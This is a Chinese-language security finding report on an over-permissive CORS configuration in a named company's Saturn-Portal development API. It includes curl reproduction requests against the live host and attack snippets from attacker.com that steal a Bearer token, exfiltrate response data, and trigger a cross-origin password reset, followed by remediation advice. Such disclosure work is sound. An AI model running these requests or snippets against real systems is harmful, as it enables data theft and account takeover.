CSRF2 — Saturn-Portal CORS 過寬配置【MEDIUM-HIGH】

> 發現時間：2026-07-11
> 發現者：Linux Hermes（繼續探查其他漏洞類型時）
> 目標：cn-dev-oms-gateway.ninebot.com（Saturn-Portal API）
> 類別：#3 CSRF（補 CSRF1）

漏洞描述

`cn-dev-oms-gateway.ninebot.com`（Saturn-Portal API 後端）的 CORS 配置完全開放：
- 任何 Origin 都返回 `Access-Control-Allow-Origin: *`
- 允許任何 HTTP header（包括 `Authorization` Bearer token）
- 允許 6 個 HTTP 方法（GET/POST/PUT/DELETE/PATCH/OPTIONS）
- 即使看起來像九號公司子域（`https://ninebot.com`），`https://attacker.com` 也照樣通過

證據鏈

CORS 對所有 Origin 的響應（OPTIONS 預檢）

Origin	響應狀態	CORS Headers
`https://ninebot.com`	200 OK	`Allow-Origin: *` + `Allow-Headers: *` + 全部方法
`https://*.ninebot.com`	200 OK	同上
`https://willand.com`	200 OK	同上
`https://navimow.com`	200 OK	同上
`http://ninebot.com`	200 OK	同上
`null`	200 OK	同上
`https://attacker.com`	200 OK	同上
`https://ninebot.com.evil.com`	200 OK	同上
`https://ninebotcom.evil.com`	200 OK	同上

完整 CORS 響應（所有 origin 一致）：

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, PATCH
Access-Control-Allow-Headers: *
```

數據洩漏證明（GET 請求）

請求：

```
curl -H "Origin: https://attacker.com" \
  "https://cn-dev-oms-gateway.ninebot.com/saturn-portal/api/common/user/account/v2/number-list"
```

響應：
- HTTP 200
- CORS: `Access-Control-Allow-Origin: *`
- Body: `{"code":0,"msg":"success","key":"response.success","data":[{"englishName":"Afghanistan"...`

20,346 bytes 完整數據返回給 attacker.com origin！

對比 — SSO 和 Platform 端點

端點	CORS 響應
`cn-dev-oms-gateway/saturn-portal/*`	完全開放 * + * headers
`platform.ninebot.com/` (CSRF1)	開放 `*` + 5 方法
`sso-app.ninebot.com/user/api/sso/v1/login`	403（拒絕所有 Origin）

Saturn-Portal 是最寬鬆的。

攻擊場景

場景 1：配合 XSS 偷 Bearer Token

1. Attacker 在 `app.ninebot.com`（或任何 ninebot.com 子域）植入 XSS
2. 受害者登入 Saturn-Portal，token 存 localStorage
3. XSS payload 讀取 localStorage 取得 Bearer token
4. 從 attacker.com 發起：
   `js fetch('https://cn-dev-oms-gateway.ninebot.com/saturn-portal/api/auth/v1/me', { headers: { 'Authorization': `Bearer ${stolen_token}` } })`
5. 瀏覽器發送請求，CORS `*` 允許讀取響應
6. Attacker 拿到用戶完整資料

場景 2：直接數據竊取（無需認證端點）

對於 `/number-list` 等公開端點：

```
// 在 attacker.com 上
fetch('https://cn-dev-oms-gateway.ninebot.com/saturn-portal/api/common/user/account/v2/number-list')
  .then(r => r.json())
  .then(data => exfiltrate(data))
```

瀏覽器允許（因為 CORS `*`），attacker 拿到 20KB 數據。

場景 3：CSRF 偽造 POST/PUT/DELETE 請求

即使沒有 Bearer token，CORS 配置仍允許跨域 POST：

```
fetch('https://cn-dev-oms-gateway.ninebot.com/saturn-portal/api/common/user/account/reset/password/v2/email', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ email: 'victim@victim.com' })
})
```

若 saturn-portal 在 POST 密碼重置時不需要認證（或用戶已登入且 cookie 已自動發送），攻擊可從 attacker.com 觸發密碼重置。

風險評估

因素	評估
公開暴露數據	已確認（/number-list 20KB）
Bearer token 配合 XSS	理論可行
直接 CSRF state-changing	取決於目標端點是否認 cookie
修補難度	LOW（修改 CORS 配置）

總評：MEDIUM-HIGH（CORS `*` + `*` headers 是已知危險配置；無 credentials flag 限制利用範圍）

與 CSRF1 的區別

項目	CSRF1	CSRF2（本漏洞）
目標	platform.ninebot.com	cn-dev-oms-gateway.ninebot.com/saturn-portal/*
CORS 嚴格度	中（5 方法，無 `*` headers）	極寬鬆（6 方法 + `*` headers + 所有 origin）
數據洩漏確認	否	是（20KB number-list）
攻擊複雜度	中	低（任何網站都能跨域讀）

修復建議

立即修復（CORS 配置）

```
# 移除 `*` 設定，改為精確白名單
add_header Access-Control-Allow-Origin "https://app.ninebot.com" always;
add_header Access-Control-Allow-Methods "GET, POST" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;

# 或者完全刪除 CORS header（如果不需要跨域訪問）
```

中期修復

1. 移除未使用的公開端點（`/number-list` 不需要 Bearer auth）
2. saturn-portal 端點強制 Bearer auth（即使 health check 也要認證）
3. 前端 Bearer token 不放 localStorage（改 httpOnly cookie）
4. CORS preflight 緩存最短時間（max-age 不應過長）

長期修復

1. 部署 CSP（Content-Security-Policy）防止 XSS
2. 部署 Subresource Integrity（SRI）
3. 啟用 SameSite=Strict cookies
4. 對所有 API 進行 origin 驗證

完整復現步驟

```
# 1. 從任何 origin 發起預檢請求
curl -X OPTIONS \
  -H "Origin: https://attacker.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: authorization,content-type" \
  "https://cn-dev-oms-gateway.ninebot.com/saturn-portal/api/auth/v1/me" \
  -i

# 預期響應：
# HTTP/1.1 200 OK
# Access-Control-Allow-Origin: *
# Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, PATCH
# Access-Control-Allow-Headers: *

# 2. 從任何 origin 讀取公開數據
curl -H "Origin: https://attacker.com" \
  "https://cn-dev-oms-gateway.ninebot.com/saturn-portal/api/common/user/account/v2/number-list"
# 預期：返回 20346 bytes 完整 JSON 數據
```

報告時間：2026-07-11
測試者：Linux Hermes
本機出口：43.160.194.36